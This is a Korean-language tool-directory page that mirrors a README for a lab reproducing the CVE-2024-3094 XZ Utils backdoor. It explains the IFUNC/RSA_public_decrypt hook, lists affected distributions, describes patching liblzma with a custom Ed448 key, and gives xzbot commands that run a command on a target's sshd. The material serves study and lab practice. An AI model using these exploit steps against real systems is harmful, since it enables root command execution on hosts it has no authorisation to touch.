Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-3094 — CVE-2024-3094 - XZ Utils 백도어 | Kitploit
도구/GitHubGitHub/h3raklez/cve-2024-3094
Vulnerability AnalysisExploitationMalware AnalysisCryptographyPenetration TestingSupply Chain SecurityLearning & EducationLabs & Practice
GitHubh3raklez/cve-2024-3094

CVE-2024-3094

CVE-2024-3094 - XZ Utils 백도어

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-3094 — XZ 유틸리티 백도어

교육 및 승인된 보안 연구 목적으로만 사용하십시오.

취약점 설명

CVE-2024-3094는 XZ 유틸리티(liblzma) 5.6.0 및 5.6.1 버전에 삽입된 백도어로, 2024년 3월 29일 보안 연구원 Andres Freund에 의해 발견되었습니다. CVSS 점수는 **10.0(치명적)**으로 평가되었습니다.

이는 "Jia Tan"(JiaT75)으로 알려진 위협 행위자가 2년 이상에 걸쳐 수행한 공급망 공격으로, 프로젝트 내에서 신뢰를 쌓아 공동 관리자 지위를 얻은 뒤 배포 tarball에 백도어를 직접 삽입했습니다.

기술적 메커니즘

백도어는 다음과 같이 작동합니다:

  1. 악성 liblzma.so는 glibc의 IFUNC 메커니즘을 통해 OpenSSH의 RSA_public_decrypt() 함수를 후킹하여 SSH 인증 프로세스를 가로챕니다.
  2. 클라이언트가 연결하면 백도어는 제시된 SSH 인증서의 특정 필드를 평가합니다.
  3. 해당 필드에 ChaCha20으로 암호화되고 특정 Ed448 개인 키로 서명된 페이로드가 포함되어 있으면 백도어는 sshd 권한(root)으로 system()을 통해 내장된 명령을 실행합니다.
  4. 서명이 유효하지 않으면 sshd는 이상 징후 없이 정상 흐름을 계속합니다.

악용 요구 사항

  • glibc(IFUNC 지원)가 있는 시스템
  • XZ 유틸리티 5.6.0 또는 5.6.1 설치
  • systemd에서 실행된 sshd(중요 요구 사항 — sshd를 명령줄에서 수동으로 실행하면 IFUNC 후킹이 활성화되지 않음)
  • x86-64 시스템

원래 영향을 받은 배포판

  • 페도라 리눅스 40 베타 / Rawhide
  • 데비안 unstable, testing, experimental
  • 칼리 리눅스
  • 아치 리눅스(2024-02-24 ~ 2024-03-28 사이 이미지)

실습 환경

이 실습은 원래 공격자의 키(공개된 적 없음) 대신 사용자 지정 Ed448 키를 사용하여 백도어 메커니즘을 재현합니다.

chroot를 사용하는 이유

실제 영향받은 시스템에는 chroot가 없었습니다. 백도어는 시스템의 sshd에서 직접 작동했으며, sshd는 다른 공유 라이브러리와 마찬가지로 악성 liblzma.so를 로드했습니다. 이는 시스템과 관리자에게 완전히 투명했습니다.

이 실습에서 chroot를 사용하는 것은 순전히 실용적인 이유 때문입니다. 호스트 시스템의 라이브러리를 교체하지 않고 특정 버전의 liblzma.so를 사용하는 sshd를 실행해야 하기 때문입니다. 이는 연구 환경을 위한 설계 결정이며, 프로덕션 환경에서 백도어가 작동한 방식을 반영한 것이 아닙니다.

구성 요소

구성 요소설명
env_fs/chroot로 사용되는 최소 Ubuntu 22.04 파일시스템
env_fs/usr/lib/x86_64-linux-gnu/liblzma.so.5

대상 스택

  • Ubuntu 22.04.1 LTS AMD64
  • glibc 2.35
  • OpenSSH 8.9p1
  • systemd 249
  • liblzma 5.6.1(패치됨)

이 대상에 적용된 수정 사항

원래 백도어는 실습 환경에 자동으로 존재하지 않는 매우 특정한 조건을 요구합니다. 다음과 같은 수정이 필요했습니다:

1. liblzma.so 교체

MagpieRYL의 원래 저장소에 포함된 liblzma.so.5는 포함된 xzbot 바이너리와 일치하지 않는 알 수 없는 Ed448 키를 사용합니다. 원본 정품 liblzma.so.5.6.1을 Debian snapshot에서 다운로드(sha256 검증)하고 amlweems/xzbot의 patch.py를 사용하여 seed=0으로 패치했습니다:

root@kitploit:~
original sha256:  605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4
patched sha256:   ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d
patched offset:   0x24470

원래 공격자의 Ed448 공개 키를 다음으로 교체했습니다:

root@kitploit:~
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00

2. systemd 서비스의 Type=simple

원래 서비스는 Type=notify를 사용하며, sshd가 systemd에 시작 알림을 보내야 합니다. chroot 내부의 sshd는 이를 보내지 않아 시간 초과가 발생합니다. Type=simple로 변경했습니다.

3. 임시 chroot 디렉터리

sshd는 권한 분리를 위해 /run/sshd가 필요합니다. 이 디렉터리는 chroot에 존재하지 않으며 run/이 tmpfs이므로 재부팅할 때마다 지워집니다. 서비스가 시작될 때마다 자동으로 다시 생성하는 ExecStartPre로 해결했습니다.


사용 방법

동일 머신에서 익스플로잇

root@kitploit:~
./xzbot -addr 127.0.0.1:2024 -cmd 'echo pwned > /tmp/result'
cat /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result

다른 머신에서 익스플로잇

root@kitploit:~
./xzbot -addr <TARGET_IP>:2024 -cmd 'echo pwned > /tmp/result'

익스플로잇으로 생성된 파일의 위치

명령은 chroot 내부에서 실행되므로 백도어 컨텍스트에서 /tmp/ 아래에 생성된 모든 파일은 다음 위치에 저장됩니다:

root@kitploit:~
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/

즉, 명령이 echo pwned > /tmp/result인 경우 파일은 다음 위치에서 찾을 수 있습니다:

root@kitploit:~
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result

익스플로잇으로 생성된 파일을 찾으려면:

root@kitploit:~
find /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/ -type f

handshake failed: EOF 관련 참고 사항

ssh: handshake failed: EOF 메시지는 예상되고 정상적인 동작입니다. 백도어는 명령을 실행하고 SSH 세션을 수립하지 않은 채 연결을 닫습니다. 이는 실패를 의미하지 않습니다.


중요

이 실습은 사용자 지정 암호화 키 쌍(seed=0)을 사용합니다. 패치된 liblzma.so는 이 환경에서 컴파일된 xzbot이 사용하는 해당 개인 키로 서명된 페이로드만 허용합니다. 다른 클라이언트는 실행 없이 EOF를 받게 됩니다.


참고 자료

  • 원본 Openwall 공개
  • amlweems/xzbot
  • MagpieRYL/CVE-2024-3094-backdoor-env-container
  • Datadog 보안 연구소 분석
  • 위키백과 — XZ 유틸리티 백도어

면책 조항

이 도구는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.

도구 다운로드
사용자 지정 Ed448 키로 패치된 liblzma 5.6.1
/etc/systemd/system/xzback.service포트 2024에서 취약한 sshd를 실행하는 systemd 서비스
/xzbot/xzbot소스에서 컴파일된 익스플로잇 클라이언트